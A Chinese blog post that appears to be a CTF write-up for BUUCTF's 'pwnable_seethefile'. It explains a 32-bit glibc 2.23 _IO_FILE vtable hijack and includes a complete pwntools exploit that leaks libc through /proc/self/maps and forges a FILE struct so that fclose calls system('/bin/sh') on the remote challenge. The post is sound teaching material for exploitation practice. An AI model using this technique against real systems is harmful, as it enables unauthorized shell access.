(BUUCTF)pwnable_seethefile

前置知识

  • glibc2.23下的_IO_FILE虚表劫持
  • /proc/self/maps文件

整体思路

非常典型的一道glibc2.23下的IO_FILE虚表劫持题(不过是32位)。尽管glibc2.23下的虚表劫持已经是时代的眼泪了,但不妨将其视为高版本glibcIO_FILE利用的基础,一起来回顾一下。

查看程序,可以打开文件,读取到内存,并输出到标准输出流,但是不能打开和输出与flag字符串有关的文件。

此外,菜单的第5项可以覆盖掉文件指针fp,并紧接着就对fp调用了fclose。这种情况时,我们只需要劫持fclose过程中调用的虚表函数指针为system,即可执行system函数。

由此,我们输入5,并将fp的地址写为name的地址(因为这部分我们可以进行控制),随后在name处写/bin/sh\x00(因为最终会调用__close('/bin/sh\x00'))。接下来,在偏移0x94处的地方写一个vtable的地址。这个地址我们如何决定呢?我的方法是,先将system函数写在可控的name的某处,再将vtable的地址反推为构造的system函数的地址减去16*4个地址(这是因为__close函数在vtable中的位置为第16个)。如此一来fclose函数就会执行system('/bin/sh'),从而获得shell

其中需要注意的点:

  • libc的地址可以通过打开/proc/self/maps文件获得,其中self表示当前进程,该文件内容和vmmap显示的信息类似,存放进程的内存信息;

  • fp指针指向的内存全部填充为0会导致程序崩溃,例如偏移0x48处,我这里填写为name地址加上0x10。这种导致崩溃的可以通过调试汇编来看看是为什么导致的(如果你不会,那么很难解IO_FILE相关的题目)

  • BUUCTF上的这道题的libc版本是32位的glibc2.23-0ubuntu5,需要注意

exp

from pwn import *
from LibcSearcher import *

filename = '/1'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
# libc = ELF('/glibc/2.23-0ubuntu11_i386/libc.so.6')
libc = ELF('./libc_32.so.6')

if local:
    sh = process(filename)
else:
    sh = remote('node4.buuoj.cn', 27155)

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

choice_words = 'Your choice :'

def open(filename):
    sh.sendlineafter(choice_words, '1')
    sh.sendlineafter('see :', filename)
    
def read():
    sh.sendlineafter(choice_words, '2')

def write():
    sh.sendlineafter(choice_words, '3')

def close():
    sh.sendlineafter(choice_words, '4')

def quit(name):
    sh.sendlineafter(choice_words, '5')
    sh.sendlineafter('name :', name)


def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

# 32位下,vtable的偏移是0x94,而不是64位的0xd8。
# 实际上,32位下很多偏移最好都去调试一下看下究竟是多少
vtable_offset = 0x94

# 通过/proc/self/maps,可以查看当前进程的vmmap信息,其中包括程序基地址、libc地址等等
open('/proc/self/maps')
read()
write()
sh.recvuntil('[heap]')
libc.address = int(sh.recvuntil('-', drop=True).strip().decode(), 16) + 0x1000
leak_info('libc.address', libc.address)
# debug()
close()

# 上面已经泄露了程序基地址。我们通过劫持vtable中的close函数来getshell。
file_addr = 0x0804B260
lock_addr = file_addr + 0x10  
vtable_addr = file_addr + 0x24 - 16*4
leak_info('lock_addr', lock_addr)
leak_info('system', libc.sym['system'])
payload = b'/bin/sh\x00' + b'\x00'*0x18 + p32(file_addr) + p32(0) + p32(libc.sym['system'])
payload = payload.ljust(0x48, b'\x00') + p32(lock_addr)
payload = payload.ljust(vtable_offset, b'\x00')
payload += p32(vtable_addr)
# debug()
quit(payload)
# pause()
sh.interactive()
# pause()

参考文献

IO FILE 之fclose 详解 - 先知社区 (aliyun.com)

  • 6
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值